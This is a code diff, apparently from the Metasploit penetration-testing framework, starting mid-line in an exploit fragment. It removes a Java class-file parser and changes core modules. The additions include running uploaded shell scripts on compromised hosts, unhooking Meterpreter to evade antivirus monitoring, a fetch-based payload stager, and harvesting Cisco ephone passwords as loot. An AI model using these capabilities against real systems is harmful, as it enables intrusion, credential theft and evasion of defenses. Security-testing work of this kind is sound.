spawn_via_launchd("net.saelo.hax", argv, &attrs);
|
||||
}
|
|
@ -1,424 +0,0 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/exe_format/main'
|
||||
require 'metasm/encode'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
|
||||
class JavaClass < ExeFormat
|
||||
MAGIC = "\xCA\xFE\xBA\xBE"
|
||||
|
||||
CONSTANT_TAG = {0x1 => 'Utf8', 0x3 => 'Integer',
|
||||
0x4 => 'Float', 0x5 => 'Long',
|
||||
0x6 => 'Double', 0x7 => 'Class',
|
||||
0x8 => 'String', 0x9 => 'Fieldref',
|
||||
0xa => 'Methodref', 0xb => 'InterfaceMethodref',
|
||||
0xc => 'NameAndType' }
|
||||
|
||||
class SerialStruct < Metasm::SerialStruct
|
||||
new_int_field :u1, :u2, :u4
|
||||
end
|
||||
|
||||
class Header < SerialStruct
|
||||
mem :magic, 4, MAGIC
|
||||
u2 :minor_version
|
||||
u2 :major_version
|
||||
end
|
||||
|
||||
class ConstantPool < SerialStruct
|
||||
u2 :constant_pool_count
|
||||
attr_accessor :constant_pool
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
|
||||
@constant_pool = [nil]
|
||||
|
||||
i = 1
|
||||
while i < @constant_pool_count
|
||||
entry = ConstantPoolInfo.decode(c)
|
||||
entry.idx = i
|
||||
@constant_pool << entry
|
||||
i += 1
|
||||
|
||||
if entry.tag =~ /Long|Double/
|
||||
# we must insert a phantom cell
|
||||
# for long and double constants
|
||||
@constant_pool << nil
|
||||
i += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
cp = super(c)
|
||||
|
||||
@constant_pool.each { |entry|
|
||||
next if entry.nil?
|
||||
cp << entry.encode(c)
|
||||
}
|
||||
cp
|
||||
end
|
||||
|
||||
def [](idx)
|
||||
@constant_pool[idx]
|
||||
end
|
||||
|
||||
def []=(idx, val)
|
||||
raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil?
|
||||
@constant_pool[idx] = val
|
||||
end
|
||||
end
|
||||
|
||||
class ConstantPoolInfo < SerialStruct
|
||||
u1 :tag
|
||||
fld_enum :tag, CONSTANT_TAG
|
||||
attr_accessor :info, :idx
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
|
||||
case @tag
|
||||
when 'Utf8'
|
||||
@info = ConstantUtf8.decode(c)
|
||||
when /Integer|Float/
|
||||
@info = ConstantIntFloat.decode(c)
|
||||
when /Long|Double/
|
||||
@info = ConstantLongDouble.decode(c)
|
||||
when /Class|String/
|
||||
@info = ConstantIndex.decode(c)
|
||||
when /ref$/
|
||||
@info = ConstantRef.decode(c)
|
||||
when 'NameAndType'
|
||||
@info = ConstantNameAndType.decode(c)
|
||||
else
|
||||
raise 'unknown constant tag'
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
super(c) << @info.encode(c)
|
||||
end
|
||||
end
|
||||
|
||||
class ConstantUtf8 < SerialStruct
|
||||
u2 :length
|
||||
attr_accessor :bytes
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
@bytes = c.encoded.read(@length)
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
super(c) << @bytes
|
||||
end
|
||||
end
|
||||
|
||||
class ConstantIntFloat < SerialStruct
|
||||
u4 :bytes
|
||||
end
|
||||
|
||||
class ConstantLongDouble < SerialStruct
|
||||
u4 :high_bytes
|
||||
u4 :low_bytes
|
||||
end
|
||||
|
||||
class ConstantIndex < SerialStruct
|
||||
u2 :index
|
||||
end
|
||||
|
||||
class ConstantRef < SerialStruct
|
||||
u2 :class_index
|
||||
u2 :name_and_type_index
|
||||
end
|
||||
|
||||
class ConstantNameAndType < SerialStruct
|
||||
u2 :name_index
|
||||
u2 :descriptor_index
|
||||
end
|
||||
|
||||
class ClassInfo < SerialStruct
|
||||
u2 :access_flags
|
||||
u2 :this_class
|
||||
u2 :super_class
|
||||
end
|
||||
|
||||
class Interfaces < SerialStruct
|
||||
u2 :interfaces_count
|
||||
attr_accessor :interfaces
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
|
||||
@interfaces = []
|
||||
@interfaces_count.times {
|
||||
@interfaces << ConstantIndex.decode(c)
|
||||
}
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
ret = super(c)
|
||||
|
||||
@interfaces.each { |e|
|
||||
ret << e.encode(c)
|
||||
}
|
||||
ret
|
||||
end
|
||||
|
||||
def [](idx)
|
||||
@interfaces[idx]
|
||||
end
|
||||
end
|
||||
|
||||
class Fields < SerialStruct
|
||||
u2 :fields_count
|
||||
attr_accessor :fields
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
@fields = []
|
||||
@fields_count.times {
|
||||
@fields << FieldMethodInfo.decode(c)
|
||||
}
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
ret = super(c)
|
||||
|
||||
@fields.each { |e|
|
||||
ret << e.encode(c)
|
||||
}
|
||||
ret
|
||||
end
|
||||
|
||||
def [](idx)
|
||||
@fields[idx]
|
||||
end
|
||||
end
|
||||
|
||||
class Methods < SerialStruct
|
||||
u2 :methods_count
|
||||
attr_accessor :methods
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
@methods = []
|
||||
@methods_count.times {
|
||||
@methods << FieldMethodInfo.decode(c)
|
||||
}
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
ret = super(c)
|
||||
|
||||
@methods.each { |e|
|
||||
ret << e.encode(c)
|
||||
}
|
||||
ret
|
||||
end
|
||||
|
||||
def [](idx)
|
||||
@methods[idx]
|
||||
end
|
||||
end
|
||||
|
||||
class FieldMethodInfo < SerialStruct
|
||||
u2 :access_flags
|
||||
u2 :name_index
|
||||
u2 :descriptor_index
|
||||
attr_accessor :attributes
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
@attributes = Attributes.decode(c)
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
super(c) << @attributes.encode(c)
|
||||
end
|
||||
end
|
||||
|
||||
class Attributes < SerialStruct
|
||||
u2 :attributes_count
|
||||
attr_accessor :attributes
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
|
||||
@attributes = []
|
||||
@attributes_count.times { |i|
|
||||
@attributes << AttributeInfo.decode(c)
|
||||
}
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
ret = super(c)
|
||||
|
||||
@attributes.each { |e|
|
||||
ret << e.encode(c)
|
||||
}
|
||||
ret
|
||||
end
|
||||
|
||||
def [](idx)
|
||||
@attributes[idx]
|
||||
end
|
||||
end
|
||||
|
||||
class AttributeInfo < SerialStruct
|
||||
u2 :attribute_name_index
|
||||
u4 :attribute_length
|
||||
attr_accessor :data
|
||||
|
||||
def decode(c)
|
||||
super(c)
|
||||
@data = c.encoded.read(@attribute_length)
|
||||
end
|
||||
|
||||
def encode(c)
|
||||
super(c) << @data
|
||||
end
|
||||
end
|
||||
|
||||
def encode_u1(val) Expression[val].encode(:u8, @endianness) end
|
||||
def encode_u2(val) Expression[val].encode(:u16, @endianness) end
|
||||
def encode_u4(val) Expression[val].encode(:u32, @endianness) end
|
||||
def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end
|
||||
def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def sizeof_u1 ; 1 ; end
|
||||
def sizeof_u2 ; 2 ; end
|
||||
def sizeof_u4 ; 4 ; end
|
||||
|
||||
attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes
|
||||
|
||||
def initialize(endianness=:big)
|
||||
@endianness = endianness
|
||||
@encoded = EncodedData.new
|
||||
super()
|
||||
end
|
||||
|
||||
def decode
|
||||
@header = Header.decode(self)
|
||||
@constant_pool = ConstantPool.decode(self)
|
||||
@class_info = ClassInfo.decode(self)
|
||||
@interfaces = Interfaces.decode(self)
|
||||
@fields = Fields.decode(self)
|
||||
@methods = Methods.decode(self)
|
||||
@attributes = Attributes.decode(self)
|
||||
end
|
||||
|
||||
def encode
|
||||
@encoded = EncodedData.new
|
||||
@encoded << @header.encode(self)
|
||||
@encoded << @constant_pool.encode(self)
|
||||
@encoded << @class_info.encode(self)
|
||||
@encoded << @interfaces.encode(self)
|
||||
@encoded << @fields.encode(self)
|
||||
@encoded << @methods.encode(self)
|
||||
@encoded << @attributes.encode(self)
|
||||
@encoded.data
|
||||
end
|
||||
|
||||
def cpu_from_headers
|
||||
raise 'JVM'
|
||||
end
|
||||
|
||||
def each_section
|
||||
raise 'n/a'
|
||||
end
|
||||
|
||||
def get_default_entrypoints
|
||||
[]
|
||||
end
|
||||
|
||||
def string_at(idx)
|
||||
loop do
|
||||
tmp = @constant_pool[idx].info
|
||||
return tmp.bytes if tmp.kind_of? ConstantUtf8
|
||||
idx = tmp.index
|
||||
end
|
||||
end
|
||||
|
||||
def decode_methodref(mref)
|
||||
class_idx = mref.info.class_index
|
||||
nt_idx = mref.info.name_and_type_index
|
||||
name_idx = @constant_pool[nt_idx].info.name_index
|
||||
desc_idx = @constant_pool[nt_idx].info.descriptor_index
|
||||
|
||||
string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx)
|
||||
end
|
||||
|
||||
def cp_add(cpi, tag)
|
||||
cpe = ConstantPoolInfo.new
|
||||
cpe.tag = tag
|
||||
cpe.info = cpi
|
||||
cpe.idx = @constant_pool.constant_pool_count
|
||||
|
||||
@constant_pool.constant_pool << cpe
|
||||
@constant_pool.constant_pool_count += 1
|
||||
@constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/
|
||||
|
||||
cpe.idx
|
||||
end
|
||||
|
||||
def cp_find(tag)
|
||||
constant_pool.constant_pool.each { |e|
|
||||
next if !e or e.tag != tag
|
||||
if yield(e.info)
|
||||
return e.idx
|
||||
end
|
||||
}
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
def cp_auto_utf8(string)
|
||||
if idx = cp_find('Utf8') { |i| i.bytes == string }
|
||||
return idx
|
||||
end
|
||||
|
||||
cpi = ConstantUtf8.new
|
||||
cpi.bytes = string
|
||||
cpi.length = string.length
|
||||
cp_add(cpi, 'Utf8')
|
||||
end
|
||||
|
||||
def cp_auto_class(classname)
|
||||
if idx = cp_find('Class') { |i| string_at(i.index) == classname }
|
||||
return idx
|
||||
end
|
||||
|
||||
cpi = ConstantIndex.new
|
||||
cpi.index = cp_auto_utf8(classname)
|
||||
cp_add(cpi, 'Class')
|
||||
end
|
||||
|
||||
def cp_add_methodref(classname, name, descriptor)
|
||||
nat = ConstantNameAndType.new
|
||||
nat.name_index = cp_auto_utf8(name)
|
||||
nat.descriptor_index = cp_auto_utf8(descriptor)
|
||||
natidx = cp_add(nat, 'NameAndType')
|
||||
|
||||
cpi = ConstantRef.new
|
||||
cpi.class_index = cp_auto_class(classname)
|
||||
cpi.name_and_type_index = natidx
|
||||
|
||||
cp_add(cpi, 'Methodref')
|
||||
end
|
||||
|
||||
def attribute_create(name, data)
|
||||
a = AttributeInfo.new
|
||||
a.attribute_name_index = cp_auto_utf8(name)
|
||||
a.attribute_length = data.size
|
||||
a.data = data
|
||||
a
|
||||
end
|
||||
end
|
||||
end
|
File diff suppressed because it is too large
Load Diff
|
@ -14,6 +14,14 @@ module RemoteCredentialDataService
|
|||
parsed_body = JSON.parse(data.response.body).symbolize_keys
|
||||
data = parsed_body[:data]
|
||||
data.each do |cred|
|
||||
if cred['public']
|
||||
public_object = to_ar(cred['public']['type'].constantize, cred['public'])
|
||||
rv[data.index(cred)].public = public_object
|
||||
end
|
||||
if cred['private']
|
||||
private_object = to_ar(cred['private']['type'].constantize, cred['private'])
|
||||
rv[data.index(cred)].private = private_object
|
||||
end
|
||||
if cred['origin']
|
||||
origin_object = to_ar(cred['origin']['type'].constantize, cred['origin'])
|
||||
rv[data.index(cred)].origin = origin_object
|
||||
|
|
|
@ -93,10 +93,9 @@ module Metasploit
|
|||
proof = nil
|
||||
|
||||
begin
|
||||
|
||||
realm = credential.realm || ""
|
||||
username = credential.public || ""
|
||||
password = credential.private || ""
|
||||
realm = (credential.realm || "").force_encoding('UTF-8')
|
||||
username = (credential.public || "").force_encoding('UTF-8')
|
||||
password = (credential.private || "").force_encoding('UTF-8')
|
||||
client = RubySMB::Client.new(self.dispatcher, username: username, password: password, domain: realm)
|
||||
status_code = client.login
|
||||
|
||||
|
@ -135,7 +134,7 @@ module Metasploit
|
|||
rescue RubySMB::Error::UnexpectedStatusCode => e
|
||||
status = Metasploit::Model::Login::Status::INCORRECT
|
||||
ensure
|
||||
client.disconnect!
|
||||
client.disconnect! if client
|
||||
end
|
||||
|
||||
if status == Metasploit::Model::Login::Status::SUCCESSFUL && credential.public.empty?
|
||||
|
|
|
@ -93,10 +93,11 @@ class CommandShell
|
|||
'help' => 'Help menu',
|
||||
'background' => 'Backgrounds the current shell session',
|
||||
'sessions' => 'Quickly switch to another session',
|
||||
'resource' => 'Run the commands stored in a file',
|
||||
'resource' => 'Run a meta commands script stored in a local file',
|
||||
'shell' => 'Spawn an interactive shell (*NIX Only)',
|
||||
'download' => 'Download files (*NIX Only)',
|
||||
'upload' => 'Upload files (*NIX Only)',
|
||||
'source' => 'Run a shell script on remote machine (*NIX Only)',
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -199,7 +200,9 @@ class CommandShell
|
|||
end
|
||||
end
|
||||
if good_res
|
||||
print_status("Executing resource script #{good_res}")
|
||||
load_resource(good_res)
|
||||
print_status("Resource script #{good_res} complete")
|
||||
else
|
||||
print_error("#{res} is not a valid resource file")
|
||||
next
|
||||
|
@ -430,6 +433,43 @@ class CommandShell
|
|||
return data_repr
|
||||
end
|
||||
|
||||
def cmd_source_help
|
||||
print_line("Usage: source [file] [background]")
|
||||
print_line
|
||||
print_line("Execute a local shell script file on remote machine")
|
||||
print_line("This meta command will upload the script then execute it on the remote machine")
|
||||
print_line
|
||||
print_line("background")
|
||||
print_line("`y` represent execute the script in background, `n` represent on foreground")
|
||||
end
|
||||
|
||||
def cmd_source(*args)
|
||||
if args.length != 2
|
||||
# no argumnets, just print help message
|
||||
return cmd_source_help
|
||||
end
|
||||
|
||||
background = args[1].downcase == 'y'
|
||||
|
||||
local_file = args[0]
|
||||
remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"
|
||||
|
||||
cmd_upload(local_file, remote_file)
|
||||
|
||||
# Change file permission in case of TOCTOU
|
||||
shell_command("chmod 0600 #{remote_file}")
|
||||
|
||||
if background
|
||||
print_status("Executing on remote machine background")
|
||||
print_line(shell_command("nohup sh -x #{remote_file} &"))
|
||||
else
|
||||
print_status("Executing on remote machine foreground")
|
||||
print_line(shell_command("sh -x #{remote_file}"))
|
||||
end
|
||||
print_status("Cleaning temp file on remote machine")
|
||||
shell_command("rm -rf #{remote_file}")
|
||||
end
|
||||
|
||||
#
|
||||
# Explicitly runs a single line command.
|
||||
#
|
||||
|
|
|
@ -17,6 +17,7 @@ module CommandShellOptions
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true]),
|
||||
OptString.new('InitialAutoRunScript', "An initial script to run on session creation (before AutoRunScript)"),
|
||||
OptString.new('AutoRunScript', "A script to run automatically on session creation."),
|
||||
OptString.new('CommandShellCleanupCommand', "A command to run before the session is closed")
|
||||
|
|
|
@ -152,6 +152,12 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
# TODO: This session was either staged or previously known, and so we should do some accounting here!
|
||||
end
|
||||
|
||||
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP
|
||||
if datastore['AutoUnhookProcess'] == true
|
||||
console.run_single('load unhook')
|
||||
console.run_single('unhook_pe')
|
||||
end
|
||||
|
||||
unless datastore['AutoLoadStdapi'] == false
|
||||
|
||||
session.load_stdapi
|
||||
|
|
|
@ -70,7 +70,11 @@ module Msf
|
|||
OptString.new(
|
||||
'PayloadProcessCommandLine',
|
||||
[ false, 'The displayed command line that will be used by the payload', '']
|
||||
)
|
||||
),
|
||||
OptBool.new(
|
||||
'AutoUnhookProcess',
|
||||
[true, "Automatically load the unhook extension and unhook the process", false]
|
||||
),
|
||||
],
|
||||
self.class
|
||||
)
|
||||
|
|
|
@ -626,7 +626,7 @@ module Auxiliary::AuthBrute
|
|||
port = host_port.to_s.strip if host_port
|
||||
complete_message = nil
|
||||
old_msg = msg.to_s.strip
|
||||
msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni
|
||||
msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/i
|
||||
if old_msg.match(msg_regex)
|
||||
complete_message = msg.to_s.strip
|
||||
else
|
||||
|
|
|
@ -280,6 +280,20 @@ module Auxiliary::Cisco
|
|||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# This regex captures ephones from Cisco Unified Communications Manager Express (CUE) which come in forms like:
|
||||
# username "phonefour" password 444444
|
||||
# username test password test
|
||||
# This is used for the voicemail system
|
||||
when /^\s*username (?:")([^\s]+)(?:") password ([^\s]+)/i
|
||||
user = $1
|
||||
spass = $2
|
||||
print_good("#{thost}:#{tport} ePhone Username '#{user}' with Password: #{spass}")
|
||||
store_loot("cisco.ios.ephone.username_password", "text/plain", thost, "#{user}:#{spass}", "ephone_username_password.txt", "Cisco IOS ephone Username and Password")
|
||||
cred = credential_data.dup
|
||||
cred[:private_data] = spass
|
||||
cred[:private_type] = :nonreplayable_hash
|
||||
create_credential_and_login(cred)
|
||||
|
||||
when /^\s*username ([^\s]+) (secret|password) (\d+) ([^\s]+)/i
|
||||
user = $1
|
||||
stype = $3.to_i
|
||||
|
|
|
@ -443,7 +443,7 @@ module Auxiliary::Report
|
|||
# module, such as files from fileformat exploits. (TODO: actually
|
||||
# implement this on file format modules.)
|
||||
#
|
||||
# +filenmae+ is the local file name.
|
||||
# +filename+ is the local file name.
|
||||
#
|
||||
# +data+ is the actual contents of the file
|
||||
#
|
||||
|
|
|
@ -313,16 +313,21 @@ protected
|
|||
#
|
||||
def find_key_case(k)
|
||||
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
|
||||
# Find alias match if it exists
|
||||
if self.aliases.has_key?(search_k)
|
||||
a = self.aliases[search_k]
|
||||
return a if self.has_key?(a)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Return the original key if it does not exist in the datastore
|
||||
self.has_key?(search_k) ? search_k : k
|
||||
# Scan each key looking for a match
|
||||
self.each_key do |rk|
|
||||
if rk.downcase == search_k
|
||||
return rk
|
||||
end
|
||||
end
|
||||
|
||||
# Fall through to the non-existent value
|
||||
return k
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -95,8 +95,68 @@ module Msf::DBManager::Import
|
|||
ftype = import_filetype_detect(data)
|
||||
yield(:filetype, @import_filedata[:type]) if block
|
||||
self.send "import_#{ftype}".to_sym, args.merge(workspace: wspace.name), &block
|
||||
if preserve_hosts
|
||||
# post process the import here for missing default port maps
|
||||
mrefs, mports, _mservs = Msf::Modules::Metadata::Cache.instance.all_remote_exploit_maps
|
||||
# the map build above is a little expensive, another option is to do
|
||||
# a host by ref search for each vuln ref and then check port reported for each module
|
||||
# IMHO this front loaded cost here is worth it with only a small number of modules
|
||||
# compared to the vast number of possible references offered by a Vulnerability scanner.
|
||||
deferred_service_ports = [ 139 ] # I hate special cases, however 139 is no longer a preferred default
|
||||
|
||||
new_host_ids = Mdm::Host.where(workspace: wspace).map(&:id)
|
||||
(new_host_ids - existing_host_ids).each do |id|
|
||||
imported_host = Mdm::Host.where(id: id).first
|
||||
next if imported_host.vulns.nil? || imported_host.vulns.empty?
|
||||
# get all vulns with ports
|
||||
with_ports = []
|
||||
imported_host.vulns.each do |vuln|
|
||||
next if vuln.service.nil?
|
||||
with_ports << vuln.name
|
||||
end
|
||||
|
||||
imported_host.vulns.each do |vuln|
|
||||
# now get default ports for vulns where service is nil
|
||||
next unless vuln.service.nil?
|
||||
next if with_ports.include?(vuln.name)
|
||||
serv = nil
|
||||
|
||||
# Module names that match this vulnerability
|
||||
matched = mrefs.values_at(*(vuln.refs.map { |x| x.name.upcase } & mrefs.keys)).map { |x| x.values }.flatten.uniq
|
||||
next if matched.empty?
|
||||
match_names = matched.map { |mod| mod.full_name }
|
||||
|
||||
second_pass_services = []
|
||||
|
||||
imported_host.services.each do |service|
|
||||
if deferred_service_ports.include?(service.port)
|
||||
second_pass_services << service
|
||||
next
|
||||
end
|
||||
next unless mports[service.port]
|
||||
if (match_names - mports[service.port].keys).count < match_names.count
|
||||
serv = service
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# post process any deferred services if no match has been found
|
||||
if serv.nil? && !second_pass_services.empty?
|
||||
second_pass_services.each do |service|
|
||||
next unless mports[service.port]
|
||||
if (match_names - mports[service.port].keys).count < match_names.count
|
||||
serv = service
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
next if serv.nil?
|
||||
vuln.service = serv
|
||||
vuln.save
|
||||
|
||||
end
|
||||
end
|
||||
if preserve_hosts
|
||||
(new_host_ids - existing_host_ids).each do |id|
|
||||
Mdm::Host.where(id: id).first.normalize_os
|
||||
end
|
||||
|
|
|
@ -23,7 +23,8 @@ module Exploit::CmdStager
|
|||
:certutil => Rex::Exploitation::CmdStagerCertutil,
|
||||
:tftp => Rex::Exploitation::CmdStagerTFTP,
|
||||
:wget => Rex::Exploitation::CmdStagerWget,
|
||||
:curl => Rex::Exploitation::CmdStagerCurl
|
||||
:curl => Rex::Exploitation::CmdStagerCurl,
|
||||
:fetch => Rex::Exploitation::CmdStagerFetch
|
||||
}
|
||||
|
||||
# Constant for decoders - used when checking the default flavor decoder.
|
||||
|
@ -55,7 +56,8 @@ module Exploit::CmdStager
|
|||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
|
||||
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.'])
|
||||
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),
|
||||
OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -128,6 +130,7 @@ module Exploit::CmdStager
|
|||
self.stager_instance = create_stager
|
||||
|
||||
if stager_instance.respond_to?(:http?) && stager_instance.http?
|
||||
opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl)
|
||||
opts[:payload_uri] = start_service(opts)
|
||||
end
|
||||
|
||||
|
|
|
@ -10,6 +10,7 @@ module Msf
|
|||
require 'msf/core/exploit/http/wordpress/base'
|
||||
require 'msf/core/exploit/http/wordpress/helpers'
|
||||
require 'msf/core/exploit/http/wordpress/login'
|
||||
require 'msf/core/exploit/http/wordpress/register'
|
||||
require 'msf/core/exploit/http/wordpress/posts'
|
||||
require 'msf/core/exploit/http/wordpress/uris'
|
||||
require 'msf/core/exploit/http/wordpress/users'
|
||||
|
@ -21,6 +22,7 @@ module Msf
|
|||
include Msf::Exploit::Remote::HTTP::Wordpress::Base
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Login
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Register
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Posts
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::URIs
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Users
|
||||
|
|
|
@ -20,6 +20,22 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
|||
post_data
|
||||
end
|
||||
|
||||
|
||||
# Returns the POST data for a Wordpress register request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param email [String] Email Address
|
||||
# @param redirect URL [String] to redirect after successful registration
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def wordpress_helper_register_post_data(user, email, redirect = nil)
|
||||
{
|
||||
'user_login' => user.to_s,
|
||||
'user_email' => email.to_s,
|
||||
'redirect_to' => redirect.to_s,
|
||||
'wp-submit' => 'Register'
|
||||
}
|
||||
end
|
||||
|
||||
# Helper method to post a comment to Wordpress
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
|
|
|
@ -0,0 +1,20 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Wordpress::Register
|
||||
# performs a wordpress registration
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param email [String] Email Address
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [Bool] registration request success status
|
||||
def wordpress_register(user, email, timeout = 20)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_get' => {'action' => 'register'},
|
||||
'vars_post' => wordpress_helper_register_post_data(user, email, redirect)
|
||||
}, timeout)
|
||||
res && res.redirect? && res.redirection && res.redirection.to_s == redirect
|
||||
end
|
||||
end
|
|
@ -119,8 +119,44 @@ module Msf::Module::External
|
|||
})
|
||||
|
||||
invalidate_login(**cred)
|
||||
|
||||
when 'credential_login'
|
||||
handle_credential_login(data, mod)
|
||||
else
|
||||
print_warning "Skipping unrecognized report type #{m.params['type']}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handles login report that does not necessarily need to include a password
|
||||
#
|
||||
def handle_credential_login(data, mod)
|
||||
# Required
|
||||
service_data = {
|
||||
address: data['address'],
|
||||
port: data['port'],
|
||||
protocol: data['protocol'],
|
||||
service_name: data['service_name'],
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
# Optional
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
username: data['username']
|
||||
}.merge(service_data)
|
||||
|
||||
if data.has_key?(:password)
|
||||
credential_data[:private_data] = data['password']
|
||||
credential_data[:private_type] = :password
|
||||
end
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
}.merge(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue